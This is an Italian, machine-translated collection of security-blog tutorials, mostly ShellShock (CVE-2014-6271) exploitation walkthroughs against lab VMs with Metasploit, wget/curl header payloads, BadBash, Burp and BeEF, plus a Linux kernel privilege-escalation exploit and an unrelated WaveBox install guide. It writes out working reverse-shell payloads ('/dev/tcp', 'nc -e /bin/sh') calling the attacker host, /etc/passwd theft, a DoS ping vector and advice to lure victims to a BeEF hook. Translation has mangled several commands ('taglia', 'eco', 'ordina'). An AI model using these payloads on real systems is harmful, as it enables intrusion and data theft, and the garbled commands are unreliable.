Mostra tutte le connessioni attive al server Web esclusi gli IP personali (ad es. solo porta 80) (solo IP) (ordinate e univoche) (con conteggio connessioni)

Comando: netstat -antu | grep :80 | grep -v ASCOLTA | awk '{print $5}' | taglia -d: -f1 | ordina | uniq -c | ordina -rn

Mostra tutte le connessioni attive al server Web esclusi gli IP propri (ad es. solo porta 80) (solo IP) (ordinati e univoci) (con conteggio connessioni) (escludi IP propri)

Comando: netstat -antu | grep :80 | grep -v ASCOLTA | awk '{print $5}' | taglia -d: -f1 | ordina | uniq -c | ordina -rn | grep -v 127.0.0.1

Mostra tutte le connessioni attive al server Web esclusi gli IP personali (ad es. solo porta 80) (solo IP) (ordinate e univoche) (con conteggio connessioni) (escludi IP personali) (conteggio finale)

Comando: netstat -antu | grep :80 | grep -v ASCOLTA | awk '{print $5}' | taglia -d: -f1 | ordina | uniq -c | ordina -rn | grep -v 127.0.0.1 | wc -l

Come installare WaveBox in Kali Linux – [Client di posta elettronica]

   

WaveBox è uno dei migliori client di posta elettronica per distribuzioni Linux in particolare, ma è disponibile anche per sistemi operativi Windows e MacOS che portano Gmail, Hotmail, Posta in arrivo, Outlook ecc. In un client configurabile. Wavebox è costruito utilizzando Electron, React e Flux e supporta più di 1100+ applicazioni .

L'ultima versione di WaveBox è la v3.14.10beta (come verificato il 13 agosto         )

Tutti gli account iniziano con una prova gratuita di 14 giorni di Wavebox Pro . Nessuna carta di credito richiesta. Successivamente puoi continuare a utilizzare Wavebox Basic gratuitamente o abbonarti a Pro.

Nel pacchetto base (GRATUITO), puoi aggiungere solo fino a 2 account Google Gmail/Inbox, ma nei pacchetti Pro ed Enterprise tutto è illimitato. WaveBox offre anche forti sconti per l'acquisto di 10 o più account pro.

" ADDIO ALLE SCHEDE DEL BROWSER e BENVENUTI IN WAVEBOX "

Caratteristiche di WaveBox –

Installazione di WaveBox in Kali Linux –

WaveBox offre attualmente 2 account Gmail/Inbox in un pacchetto gratuito.

Per scaricare WaveBox, vai su  https://wavebox.io/download e scarica il file del programma di installazione Debian a 64 bit tramite wget.

Per installare WaveBox, il comando è:

Comando: sudo dpkg -i Wavebox_3_14_6_linux_x86_64.deb

Successivamente è necessario installare tutte le dipendenze digitando " sudo apt install -f " come mostrato di seguito:

Ora, fai clic sull'icona Mostra applicazioni (visualizzata sul lato sinistro) e cerca " WaveBox "

Avvia WaveBox e accetta il Contratto di servizio, l'EULA e l'Informativa sulla privacy facendo clic sul campo della casella di controllo.

E questa è la più grande bugia su Internet, in realtà leggendo l'informativa sulla privacy online e gli accordi di servizio prima di fare clic su "accetta" 🙂

Nella schermata successiva, WaveBox consiglia di installare più caratteri , ma è possibile saltare questa schermata e installare i caratteri in un secondo momento, se necessario.

Ora sei pronto per aggiungere il tuo primo account (ovviamente per noi è GMAIL) facendo clic sul pulsante " Aggiungi il tuo primo account ".

Seleziona Gmail dall'elenco sottostante e la cosa migliore di WaveBox è che supporta più di 1100+ applicazioni che puoi configurare facilmente all'interno di WaveBox.

Scegli un colore e scegli Servizi Google da mostrare.

Successivamente, ti chiederà di inserire il nome utente e la password corretti.

Dopo l'avvenuta autenticazione, scegli la posta prioritaria e completa la procedura.

E il tuo Gmail sarà pronto in meno di 10 secondi e sembra così bello con le icone della barra laterale superiore e sinistra.

Se devi aggiungere altri account, fai clic sul pulsante " Aggiungi account (+) " nella parte in basso a sinistra dello schermo.

Sfruttamento della vulnerabilità di ShellShock con Metasploit Framework

   

In precedenza abbiamo spiegato bene la Vulnerabilità Heartbleed che ha già creato così tanto scompiglio e ora vi mostreremo uno sfruttamento dal vivo della Vulnerabilità ShellShock ( CVE-2014-6271 ) con Metasploit Framework. Vulnerabilità ShellShock chiamata anche Bash Bug Vulnerability che colpisce già migliaia di sistemi operativi Linux/Unix. Questa vulnerabilità è stata originariamente scoperta da Stephane Chazelas .

In sostanza, ShellShock funziona consentendo a un utente malintenzionato di aggiungere comandi alle definizioni delle funzioni nei valori delle variabili di ambiente. Questo verrebbe classificato come un tipo di attacco di iniezione di codice e poiché Bash elaborerà questi comandi dopo la definizione della funzione, praticamente qualsiasi codice arbitrario può essere eseguito.

Il problema ShellShock è un esempio di vulnerabilità di esecuzione di codice arbitrario (ACE). In genere, gli attacchi alla vulnerabilità ACE vengono eseguiti su programmi in esecuzione e richiedono una comprensione altamente sofisticata delle parti interne dell'esecuzione del codice, del layout della memoria e del linguaggio assembly: in breve, questo tipo di attacco richiede un esperto. L'attaccante utilizzerà anche una vulnerabilità ACE per caricare o eseguire un programma che offre loro un modo semplice per controllare la macchina presa di mira. Ciò si ottiene spesso eseguendo una "shell". Una shell è una riga di comando in cui i comandi possono essere immessi ed eseguiti.

Puoi anche eseguire un semplice comando per verificare se la tua bash è vulnerabile o meno:

Comando: x='() { :;}; echo VULNERABILE' bash -c :
OR
Comando:  env x='() { :;}; eco VULNERABILE; Uscita;' bash -c 'echo NON VULNERABILE'

Esegue il comando bash -c : con il testo letterale () { :;}; echo VULNERABLE impostato come valore della variabile d'ambiente x.

Per maggiori informazioni, fare riferimento a stackexchange .

Se la tua bash è vulnerabile, allora il tuo sistema è vulnerabile in quanto utilizza bash insieme a vettori di attacco come script CGI, client DHCP e account SSH con restrizioni. Controlla se /bin/sh è bash o qualche altra shell. La vulnerabilità è in una funzionalità specifica di bash e altre shell come dash e ksh non sono interessate.

Puoi testare la shell predefinita eseguendo lo stesso test di cui sopra con sh invece di bash:

Comando:  x='() { :;}; echo VULNERABILE' sh -c :

Sfruttamento con Metasploit Framework –

Qui abbiamo configurato un ambiente virtuale con Metasploitable2 Machine e ospitato sotto Vmware Workstation il cui indirizzo IP è 192.168.20.128 (potrebbe essere diverso nel tuo caso). Metasploitable2 è una delle migliori macchine virtuali piene di vulnerabilità che migliorano effettivamente le tue capacità di hacking.

Per fare ciò, basta creare uno script eseguibile nella directory /cgi-bin (che si trova in /usr/lib/cgi-bin) e aggiungere il seguente codice al suo interno.

Comando: cd /usr/lib/cgi-bin/
Comando: sudo nano       .sh

Codice:

#! /bin/bash
echo "Tipo di contenuto: testo/html"
echo ""
echo "Ciao      "

Ora dai i permessi 755 al file       .sh che hai appena creato sopra nel primo passaggio digitando il seguente comando:

Comando: sudo chmod 755       .sh

Ora sfoglia lo stesso file accedendo tramite browser web http://192.168.20.128/cgi-bin/      .sh

Ora carica Metasploit Framework con il comando " msfconsole " e cerca tutti gli exploit relativi a shellshock con il comando di ricerca come mostrato di seguito:

Comando: cerca shellshock

Ecco l'elenco completo degli exploit che mostra:

Carica l'exploit di colore rosso sopra digitando use seguito dalla posizione dell'exploit.

Questo modulo sfrutta la vulnerabilità Shellshock, un difetto nel modo in cui la shell Bash gestisce le variabili ambientali esterne. Questo modulo prende di mira gli script CGI nel server Web Apache impostando la variabile di ambiente HTTP_USER_AGENT su una definizione di funzione dannosa.

Comando: usa exploit/multi/http/apache_mod_cgi_bash_env_exec

Digita " mostra opzioni " per vedere le varie impostazioni per questo modulo/exploit.

Possiamo lasciare la maggior parte dei valori predefiniti, ma dovremo impostare il RHOST sull'indirizzo IP del target ( 192.168.20.128 ) e l'URI del target ( /cgi-bin/      .sh )

Comando: set RHOST 192.168.20.128
Comando: set TARGETURI /cgi-bin/      .sh

Successivamente, dobbiamo scegliere un payload che ti restituisca la connessione TCP.

Comando: set payload linux/x86/shell/reverse_tcp

Puoi anche digitare " show payloads " per visualizzare diversi payload e informazioni su ciascuno di essi (facoltativo).

Inoltre, devi impostare il tuo indirizzo LHOST sull'indirizzo IP della tua macchina (Kali Linux – 192.168.20.129) digitando:

Comando: impostare LHOST 192.168.20.129

Quindi digita il comando " check " per verificare se il tuo obiettivo è vulnerabile o meno alla vulnerabilità ShellShock.

Possiamo vedere che l'obiettivo è davvero vulnerabile, quindi usa il comando exploit per lanciare l'attacco che apre istantaneamente una sessione di shell in cui puoi eseguire ulteriori comandi a livello di sistema come id o whoami per visualizzare le informazioni sull'utente corrente:

Nota: questa shell sarà una shell limitata, significa che puoi eseguire solo pochi comandi a livello di sistema per aumentare i privilegi, devi eseguire l'escalation dei privilegi locali utilizzando un Linux Kernel Exploit .

Sono disponibili circa 7 diverse varianti per testare la vulnerabilità ShellShock .

Puoi visualizzare la fonte e scaricarla qui – shellshock_test.sh su GitHub .

Sfruttamento della vulnerabilità ShellShock con richiesta HTTP

   

In un tutorial precedente , abbiamo utilizzato Metasploit Framework per ottenere una shell di basso livello sul sistema di destinazione sfruttando la vulnerabilità ShellShock. Lo stesso può essere fatto anche inviando una richiesta HTTP con Wget e Curl.

Per sfruttare il bug ShellShock, è necessario eseguire i seguenti passaggi:

Per comprendere meglio le implicazioni di tale bug, creare un semplice file bash con il seguente contenuto e salvarlo all'interno della directory /usr/lib/cgi-bin .

Qui, stiamo usando la stessa macchina vulnerabile Metasploitable2 per questa dimostrazione il cui indirizzo IP è 192.168.20.128 .

Comando: cd /usr/lib/cgi-bin
Comando: sudo nano       .sh

Codice:

#! /bin/bash
echo "Tipo di contenuto: testo/html"
echo ""
echo "Ciao      "

E dai l'autorizzazione 755 al file       .sh digitando " sudo chmod 755       .sh "

È possibile accedere facilmente al file su " http://192.168.20.128/cgi-bin/      .sh " in qualsiasi browser.

Il modo più semplice per testare un server Web tramite richiesta HTTP è iniettare il comando bash tramite l'agente utente.

Comando: wget -U '() { :;}; /bin/bash -c "echo vulnerabili"' http://192.168.20.128/cgi-bin/      .sh

Se viene generato un errore del server 5XX, significa che il server è probabilmente vulnerabile a un exploit.

Puoi anche testare lo stesso inviando una richiesta con il comando CURL:

Comando: curl -A '() { :;}; /bin/bash -c "echo vulnerabili"' http://192.168.20.128/cgi-bin/      .sh

Ora chiamalo con wget per scambiare la stringa dell'agente utente che mostra effettivamente il contenuto del file /etc/passwd.

Comando: wget -U “() { test;};echo \”Tipo di contenuto: testo/semplice\”; eco; eco; /bin/cat /etc/passwd” http://192.168.20.128/cgi-bin/      .sh

Il comando precedente recupererà tutto il contenuto del file /etc/passwd della macchina di destinazione (ad esempio Metasploitable2) e lo salverà con il nome       .sh (file di testo semplice) come mostrato di seguito:

Se esegui ulteriormente il debug del comando precedente, l'output reagirà in questo modo:

() {
test
}
echo \"Tipo di contenuto: text/plain\"
echo
/bin/cat /etc/passwd

L'extra " Tipo di contenuto: " è solo a scopo illustrativo. Previene l'errore 500 e mostra il contenuto del file. L'esempio sopra mostra anche come non sia un problema di errori di programmazione, anche bash cgi normalmente sicuro e innocuo che non accetta nemmeno l'input dell'utente può essere sfruttato.

Allo stesso modo, puoi fare N numero di cose con il tuo obiettivo.

Ad esempio: se desideri semplicemente eseguire il ping dell'IP di qualcuno come un bot di attacco che potrebbe portare ulteriormente a un attacco DOS, il vettore di attacco sarà:

() {:; }; ping -s 1000000 <IP vittima>

Puoi anche utilizzare uno script shellshocker.py open source che è uno strumento a riga di comando per eseguire test e un sito Web di test shellshock basato su flask distribuibile.

Comando: git clone https://github.com/liamim/shellshocker.git

ShellShocker ha due modi diversi di essere eseguito:

Per testare contro il tuo obiettivo, digita il seguente comando:

Comando: python shellshocker.py <your-target-domain>

Sfruttamento di ShellShock con CURL –

Inviamo la richiesta dannosa tramite CURL al computer di destinazione che è vulnerabile alla vulnerabilità ShellShock.

Comando:  curl -v http://192.168.20.128/cgi-bin/      .sh -H “custom:() { ignorato; }; /usr/bin/id”

Come puoi vedere, il codice di risposta è 500, errore interno del server, significa che il tuo server di destinazione è vulnerabile come discusso sopra ma dove è stato eseguito il comando /usr/bin/id ?

Per questo, devi controllare i tuoi log di Apache -

Il bit di "intestazione" si lamenta è cattivo è il risultato del comando id.

Allo stesso modo, se si desidera accedere o visualizzare il file /etc/passwd, il comando sarà:

Comando:  curl http://192.168.20.128/cgi-bin/      .sh -H “custom:() { ignorato; }; echo Tipo di contenuto: testo/html; eco ; /bin/cat /etc/passwd “

Escalation dei privilegi di Linux con l'exploit del kernel – [8572.c]

   

In un tutorial precedente , abbiamo utilizzato Metasploit Framework per ottenere una shell di basso livello tramite meterpreter sul sistema di destinazione (Metasploitable2 Machine) sfruttando la vulnerabilità ShellShock. Ma quella shell di basso livello non è root shell, significa che non puoi eseguire tutti i comandi a livello di sistema.

Per eseguire tutti i comandi a livello di root o di sistema, è necessario aumentare tutti i privilegi ed entrare in root. Aumentare i privilegi significa sostanzialmente aggiungere più diritti o autorizzazioni a un account utente.

Un attacco di escalation dei privilegi è un tipo di intrusione nella rete che sfrutta errori di programmazione o difetti di progettazione per garantire all'aggressore un accesso elevato alla rete e ai dati e alle applicazioni associati.

Quindi ecco, abbiamo già un guscio.

Digita " uname -a " per visualizzare tutte le informazioni del kernel sul sistema e sembra che la versione del kernel sia 2.6.24 che è una versione troppo vecchia e l'ultima versione è intorno alla 4.xx

E con il comando " lsb_release -a " verranno fornite tutte le informazioni sulla distribuzione.

Esistono fondamentalmente due metodi per classificare gli exploit:

E qui, abbiamo 3 modi per cercare un exploit per la versione del kernel precedente, ad esempio 2.6.24 (in esecuzione su Ubuntu 8.04):

Lo stesso Kali Linux ha uno strumento open source chiamato  SearchSploit  preinstallato al suo interno.

Searchsploit non è altro che un database che contiene vari exploit relativi a livello di kernel, livello di sistema e livello di applicazione.

Dal momento che stiamo cercando un exploit di escalation dei privilegi che sfrutti un difetto nel gestore di dispositivi UDEV, consentendo l'esecuzione di codice remoto tramite messaggio Netlink non verificato.

Nella sicurezza informatica, un exploit è un software che sfrutta un bug, un problema tecnico o una vulnerabilità, portando ad accesso non autorizzato, escalation di privilegi o denial of service su un sistema informatico.

Per cercare questo tipo di exploit con Searchsploit, il comando è:

Comando: privilegio di searchsploit | grep -i linux | grep -i kernel | grep 2.6

Dal momento che stiamo cercando solo l'exploit di escalation dei privilegi, e il migliore nell'elenco sopra è 8572.c (per Linux Kernel 2.6)

Basta digitare " locate 8572.c " per scoprire il percorso dell'exploit che è /usr/share/exploitdb/exploits/linux/local/8572.c

La maggior parte degli exploit sono codificati in linguaggio c e devi solo compilare l'exploit con il compilatore gcc ed eseguire l'exploit contro il target. Ma prima di farlo, assicurati che il tuo servizio apache sia attivo.

Per avviare il server Apache, il comando è:

Comando: servizio apache2 riavviare

E per il controllo dello stato, il comando è:

Comando: servizio stato apache2

Successivamente, possiamo creare un collegamento simbolico tra la directory in cui si trova l'exploit e la directory che serve i file sul server. Ciò renderà l'exploit disponibile per il download diretto.

Comando: ln -s /usr/share/exploitdb/exploits/linux/local/ /var/www/html

Questo exploit verrà eseguito dalla directory /tmp sulla destinazione, quindi prima dobbiamo creare il file che verrà eseguito.

Su Kali ancora, digita gedit /var/www/html/run e inserisci queste righe nel file:

Codice:

#! /bin/bash
nc <kali-linux-ip> <porta> -e /bin/bash

Quando questo file viene eseguito, utilizzerà Netcat per connettersi all'indirizzo IP di Kali sulla porta 4321 e generare una shell.

Ora siamo pronti per caricare i file sulla destinazione. Tornando alla nostra shell di basso livello, passa alla directory /tmp digitando " cd /tmp " e utilizza l'utilità wget per connetterti al server in esecuzione su Kali e trasferire i file sulla macchina di destinazione.

Comando: wget http://<kali-ip>/run

Quindi scarica l'exploit digitando " wget http://192.168.20.129/local/8572.c ", poiché abbiamo già collegato simbolicamente la directory

Ora abbiamo già trasferito tutti i file richiesti sul server di destinazione, quindi è il momento di compilare l'exploit con l'aiuto del compilatore gcc digitando il seguente comando:

Comando: gcc -o exploit 8572.c

Poiché l'exploit è in linguaggio c, dobbiamo renderlo eseguibile.

Ma come puoi vedere, mostra alcuni errori relativi a id come " impossibile trovare id " (il linker dinamico), quindi dobbiamo definire il percorso del comando id con l'attributo -B come mostrato nel comando seguente:

Comando: gcc -B /usr/bin -o exploit 8572.c

Quindi digita il comando " ls " per verificare che hai effettivamente sfruttato il server.

Nella documentazione del file 8572.c , si dice che dobbiamo trovare il PID (identificatore di processo) del socket Netlink, che di solito è il PID del processo UDEVD meno uno.

Possiamo farlo eseguendo cat /proc/net/netlink e l'unico PID diverso da zero dovrebbe essere il numero che vogliamo (che nel nostro caso è 2765 ).

Verifica che sia corretto eseguendo ps aux | grep udev  – dovrebbe essere un numero più alto cioè ( 2766 )

Successivamente, è necessario configurare un listener con l'aiuto del comando netcat con la stessa porta, ad esempio 4321 , digitando:

Comando: nc -lvp 4321

quindi il tuo listener è pronto, il tuo exploit è già compilato ed è in forma eseguibile, quindi esegui semplicemente l'exploit digitando " ./exploit 2765 " nel server di destinazione.

Nota: Ricorda di passare il PID di netlink come argomento.

Non appena esegui l'exploit, otterrai automaticamente la connessione inversa con privilegi di root completi che puoi confermare ulteriormente digitando il comando " whoami " o " id ".

Sfruttamento della vulnerabilità di ShellShock con lo strumento BadBash

   

In un precedente articolo , abbiamo descritto la vulnerabilità ShellShock e in questo articolo mostriamo come sfruttare questa vulnerabilità utilizzando lo script BadBash.

BadBash è uno strumento di exploit RCE CVE-2014-6271. La versione base controlla solo il sito HTTP CGI e fornisce solo netcat reverse shell sulla porta 1234 . Se desideri sfruttare la stessa vulnerabilità di ShellShock con Metasploit Framework, puoi accedere a questo link .

Installazione di BadBash –

Questo strumento è inteso solo come prova di concetto e, pertanto, ha solo funzionalità limitate. Utilizza un ritardo per verificare se un sistema è vulnerabile, quindi se noti che si blocca mentre lo stai utilizzando per controllare un determinato sistema, potresti dover eseguire alcune patch.

Puoi facilmente installare questo script open source con l'aiuto di git digitando il seguente comando:

Comando: git clone https://github.com/securusglobal/BadBash

Il comando " clone " scarica un repository Git esistente sul tuo computer locale.

In un precedente tutorial , hai già visto come funzionano gli script cgi-bin! I programmi Web CGI possono essere scritti in qualsiasi linguaggio in grado di elaborare input standard (stdin), variabili di ambiente e scrivere su output standard (stdout).

Il server Web interagirà con tutti i programmi CGI utilizzando lo standard " Common Gateway Interface " (CGI) come stabilito da RFC 3875. Questa capacità è posseduta dalla maggior parte dei moderni linguaggi di programmazione e scripting per computer, inclusa la shell bash.

Non resta che navigare con il tuo browser fino al nome host o all'indirizzo IP del tuo server web.

Nel nostro caso l'URL sarà: http://192.168.169.138/cgi-bin/      .sh

Per impostazione predefinita, il server Apache è configurato per eseguire script CGI dalla directory /usr/lib/cgi-bin con l'alias URL /cgi-bin/.

L'utilità nc (o netcat) viene utilizzata praticamente per qualsiasi cosa sotto il sole che coinvolge TCP o UDP. Può aprire connessioni TCP, inviare pacchetti UDP, ascoltare su porte TCP e UDP arbitrarie, eseguire la scansione delle porte e gestire sia IPv4 che IPv6.

A differenza di telnet, nc esegue bene gli script e separa i messaggi di errore in standard error invece di inviarli allo standard output, come fa telnet con alcuni.

Sulla macchina Kali Linux che è la tua macchina attaccante, avvia nc in ascolto su una porta 1234 per una connessione digitando il seguente comando:

Comando: nc -lvp 1234

nc è ora in ascolto sulla porta 1234 per una connessione e attenderà la connessione inversa dal sistema della vittima.

Su una seconda console, esegui lo script ruby ​​(BadBash.rb) con la seguente sintassi sulla tua macchina target che è vulnerabile alla Vulnerabilità ShellShock.

Comando: ruby ​​BadBash.rb -t '<target-ip>/cgi-bin/      .sh' -d '<your-kalilinux-machine-ip>'

Ecco in questo caso,

Non appena esegui il comando sopra, controlla prima se il tuo obiettivo è vulnerabile alla vulnerabilità ShellShock o meno, se è vulnerabile, apre immediatamente una connessione inversa al tuo IP sulla porta 1234.

Quando si connette, puoi quindi iniziare a digitare più comandi a livello di sistema come whoami o id ecc.

Sfruttamento ShellShock con BurpSuite [PentesterLab] – CVE-2014-6271

   

Questo è un esercizio di PentesterLab per riprodurre e dimostrare come sfruttare CVE-2014-6271 [ShellShock Vulnerability].

È stato trovato un difetto nel modo in cui Bash valutava determinate variabili d'ambiente appositamente predisposte. Un utente malintenzionato potrebbe utilizzare questo difetto per ignorare o aggirare le restrizioni dell'ambiente per eseguire comandi della shell che abbiamo già sfruttato lo shellshock con Metasploit Framework .

Leggi anche: Sfruttamento ShellShock con BadBash

Shellshock, noto anche come Bashdoor, è una famiglia di bug di sicurezza nella shell Unix Bash ampiamente utilizzata, il primo dei quali è stato divulgato il 24 settembre 2014 . Molti servizi connessi a Internet, come alcune distribuzioni di server Web, utilizzano Bash per elaborare determinate richieste, consentendo a un utente malintenzionato di far sì che versioni vulnerabili di Bash eseguano comandi arbitrari. Ciò può consentire a un utente malintenzionato di ottenere l'accesso non autorizzato a un sistema informatico.

Passaggio 1: scarica il file ISO sopra e caricalo in Vmware Workstation che si presenta così all'avvio.

Qui, stiamo usando la macchina Kali Linux ( 192.168.169.137 ) come una macchina attaccante (sempre) e proviamo ad accedere all'IP della macchina Pentesterlab tramite il browser ( 192.168.169.139 ) che assomiglia a questo:

Intercetta la richiesta con Burp Suite e inviala alla scheda Spider dove scansionerà automaticamente tutte le pagine e i file.

Burp Spider è uno strumento per la scansione automatica delle applicazioni web. Sebbene sia generalmente preferibile mappare le applicazioni manualmente , puoi utilizzare Burp Spider per automatizzare parzialmente questo processo per applicazioni molto grandi o quando hai poco tempo.

Nota: durante lo spidering, Burp utilizza le impostazioni dell'ambito Spider per determinare quali URL verranno richiesti. Se non conosci Burp e hai modificato le impostazioni relative all'ambito del bersaglio o allo spidering, vai al menu Burp e ripristina le impostazioni predefinite per gli strumenti Target e Spider prima di procedere.

Burp Spider utilizza varie tecniche per eseguire la scansione del contenuto dell'applicazione e, per impostazione predefinita, seguirà tutti i collegamenti all'interno dell'ambito, invierà moduli con dati fittizi e farà richieste aggiuntive (per robots.txt, directory root, ecc.).

In alcune situazioni, l'esecuzione di uno spider automatico in questo modo può comportare conseguenze impreviste, come la registrazione di nuovi account utente, la generazione di e-mail di feedback o la modifica di altri stati dell'applicazione.

Per sfruttare " Shellshock ", dobbiamo trovare un modo per " parlare " con Bash. Ciò implica trovare un CGI che utilizzerà Bash. I CGI usano comunemente Python o Perl ma non è raro trovare (su vecchi server), CGI scritti in Shell o anche C.

Quindi abbiamo uno script chiamato " status " nella directory cgi-bin il cui tipo MIME è JSON.

Anche se guardi il codice sorgente di Homepage, c'è uno stesso collegamento allo script cgi che esegue i comandi di sistema e li visualizza su una pagina web.

Dopo aver trovato la pagina CGI, puoi usare "wget" per verificare se c'è vulnerabilità ShellShock in questa pagina CGI o meno.

Comando:  wget -U “() { test;};echo \”Tipo di contenuto: testo/semplice\”; eco; /bin/bash -c 'echo vulnerabili'” http://192.168.169.139/cgi-bin/status

Come possiamo vedere sopra, il comando " echo vulnerabili " è stato eseguito dal server, quindi è vulnerabile a ShellShock.

Innanzitutto imposta un terminale come listener sulla porta 5555 con l'utilità netcat.

Comando: nc -nlvp 5555

Su un altro terminale digitare il comando sotto che si connette alla connessione sopra, sulla porta specificata.

Comando:  wget -U “() { test;};echo \”Tipo di contenuto: testo/semplice\”; eco; /bin/bash -i >& /dev/tcp/192.168.169.137/5555 0>&1″ http://192.168.169.139/cgi-bin/status

Se la connessione inizia a bloccarsi, è davvero un buon segno, il CGI sta aspettando che tu ti connetta.

Tornando al nostro netcat iniziale, ora possiamo digitare i comandi (whoami, id, uname -a) localmente e questi verranno eseguiti sul sistema compromesso come mostrato di seguito:

Poiché la macchina Pentesterlab appartiene al gruppo sudoers , è facile ottenere ROOT digitando il comando " sudo /bin/bash ".

Inoltre, puoi sfruttare lo stesso con BurpSuite.

Proviamo a modificare l'intestazione User-Agent con l'aiuto di BurpSuite invece di Wget . Useremo il ripetitore Burp in quanto dovrebbe essere il modo più semplice per giocare e modificare la richiesta quando necessario.

Intercetta la richiesta e invia alla scheda Ripetitore:

Nota: assicurati che ci siano 2 righe vuote alla fine della tua richiesta grezza in Burp, altrimenti la richiesta non funzionerà!

Modificare la sezione Request con il seguente codice per verificare se il target è vulnerabile o meno.

GET /cgi-bin/status HTTP/1.0
user-agent: () { :; }; /bin/bash -c 'echo Vulnerabile!'

Come abbiamo già visto , se mostra un errore interno del server 500, significa che l'obiettivo è vulnerabile a ShellShock.

Successivamente, prova a recuperare il contenuto del file /etc/passwd con lo stesso codice.

GET /cgi-bin/status HTTP/1.0
user-agent: () { :; }; /bin/bash -c 'cat /etc/passwd'

Ma nessun output visualizzato indietro. Proviamo a eseguire il ping della tua macchina Kali Linux con intestazioni complete.

GET /cgi-bin/status
Host HTTP/1.1: 192.168.169.139
Agente utente: () { :; }; /bin/bash -c 'ping -c 3 192.168.169.137'
Accetta: text/html, application/xhtml-xml, application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US, en;q=0.5
Accept-Encoding: gzip, deflate
Connessione: close
Upgrade-Insecure-Requests: 1

E sì, abbiamo ricevuto 200 risposte OK e l'output viene visualizzato sullo schermo che puoi confermare ulteriormente con lo strumento TCPDUMP per le richieste ICMP.

Comando: tcpdump -i eth0 -n icmp

ICMP è una parte molto importante della comunicazione tra host su reti IP. Utilizzato da router ed endpoint (client e server), l'ICMP comunica le condizioni di errore nelle reti e fornisce agli endpoint un mezzo per ricevere informazioni su un percorso di rete o una connessione richiesta.

Questa volta, abbiamo combinato i comandi di sistema con (;) punto e virgola come mostrato di seguito:

GET /cgi-bin/status
Host HTTP/1.1: 192.168.169.139
Agente utente: () { :; }; /bin/bash -c 'ping -c 3 192.168.169.137; id; cat /etc/passwd'
Accetta: text/html, application/xhtml-xml, application/xml;q=0.9,*/*;q=0.8 Accept
-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

Come previsto, tutto funziona bene! Come puoi vedere, qui possiamo fare parecchi danni. Prendiamo un guscio inverso

Avvia netcat e ascolta sulla porta 1337 digitando " nc -lvp 1337 "

Per ottenere una shell revere, usa la seguente richiesta.

GET /cgi-bin/status
Host HTTP/1.1: 192.168.169.139
Agente utente: () { :; }; /bin/bash -c 'nc 192.168.169.137 1337 -e /bin/sh'
Accetta: text/html, application/xhtml-xml, application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connessione: close
Upgrade-Insecure-Requests: 1

Non appena invii la richiesta, non otterrai nulla da visualizzare nella finestra di risposta ma verrai connesso automaticamente a netcat sullo stesso numero di porta 1337 come mostrato di seguito:

Dato che non c'era un obiettivo particolare nella sfida (nessuna bandiera o altro) , proviamo solo a ottenere una radice digitando il comando " sudo -s ".

ShellShock e BeEF Framework – Tutorial sullo sfruttamento

   

In un tutorial precedente, abbiamo sfruttato con successo la Vulnerabilità di ShellShock con Metasploit Framework e Burp Suite . E in questo articolo sfrutteremo la stessa vulnerabilità con BeEF Framework, che è uno dei più popolari Browser Exploitation Framework ma non è gestito attivamente dagli sviluppatori.

BeEF consente al penetration tester professionista di valutare l'effettiva posizione di sicurezza di un ambiente target utilizzando vettori di attacco lato client. A differenza di altri framework di sicurezza, BeEF guarda oltre il perimetro di rete rafforzato e il sistema client ed esamina l'exploitability nel contesto dell'unica porta aperta: il browser web. BeEF collegherà uno o più browser web e li utilizzerà come teste di ponte per lanciare moduli di comando diretti e ulteriori attacchi contro il sistema dall'interno del contesto del browser.

Requisiti dell'ambiente di test di laboratorio –

Informazioni su Bee-Box –  Bee-Box è una VM Linux personalizzata preinstallata con bWAPP. Con bee-box hai la possibilità di esplorare tutte le vulnerabilità di bWAPP! Bee-Box ti offre diversi modi per hackerare e deturpare il sito Web bWAPP. È persino possibile hackerare la scatola delle api per ottenere l'accesso come root...

Installa il sistema operativo Bee-Box nel tuo VMWare scaricando il file ISO diretto da questo link . La Password di default della macchina Bee-Box è “ bug “.

Per testare la vulnerabilità ShellShock, apri il terminale e digita il seguente comando come mostrato di seguito:

Comando:  env x='() { :;}; eco VULNERABILE; Uscita;' bash -c 'echo NON VULNERABILE'

Se mostra " VULNERABLE " come output, significa che puoi facilmente sfruttare questa vulnerabilità con qualsiasi mezzo che abbiamo già sfruttato lo stesso con Metasploit Framework e uno script BadBash .

Tornando a Kali Linux, assicurati di aver installato BeEF Framework.

Passare alla directory /usr/share/beef-xss/ e digitare ./beef per avviare il framework.

È possibile accedere all'interfaccia aprendo http://127.0.0.1:3000/ui/panel il cui nome utente e password di accesso predefiniti sono " beef ".

Questa è la schermata di visualizzazione predefinita quando accedi correttamente al pannello di controllo di BeEF XSS Framework.

Dobbiamo inserire l'indirizzo dell'URL dell'hook nella macchina vulnerabile a shellshock. L'hook BeEF è un file JavaScript ospitato sul server BeEF che deve essere eseguito sui browser client.

Quando lo fa, richiama il server BeEF comunicando molte informazioni sul bersaglio. Consente inoltre di eseguire comandi e moduli aggiuntivi sulla destinazione. Quindi ora prenderemo l'URL dell'hook e proveremo a inviarlo alla vittima.

L'URL predefinito dell'hook è http://127.0.0.1:3000/demos/basic.html

Sostituisci 127.0.0.1 con Kali Linux IP cioè 192.168.20.129 , l'URL finale sarà http://192.168.20.129:3000/demos/basic.html

Ora invia l'URL sopra creato alla tua vittima con qualsiasi mezzo, ad esempio ingegneria sociale tramite e-mail, chat, ecc.

Non appena la vittima fa clic sull'URL creato, l'hook verrà piantato su BeEF in esecuzione sulla macchina dell'attaccante e i dettagli del browser della vittima e altre informazioni verranno divulgati come mostrato sul lato sinistro con un segno sotto "Browser online " .

Facendo clic sul nuovo browser agganciato, selezionerai questo browser come browser corrente e vedrai una nuova scheda " Browser corrente ":

Questa nuova scheda presenta dettagli sul browser, la pagina agganciata e l'host agganciato ma fornisce anche un nuovo menu a schede dedicato al browser selezionato.

Quando un browser è agganciato, BeEF raccoglie automaticamente diverse informazioni sul browser agganciato:

Prima di eseguire ulteriori comandi sul target, assicurati che la tua macchina Kali Linux sia in ascolto sulla porta 1337 come mostrato di seguito:

Vai direttamente alla scheda Comandi e vai a Exploit -> Shell Shock e usa i seguenti comandi come mostrato di seguito:

Dove 192.168.20.133 è il tuo IP di destinazione (Bee-Box) e 192.168.20.129 è il tuo IP della macchina attaccante ( Kali Linux ).

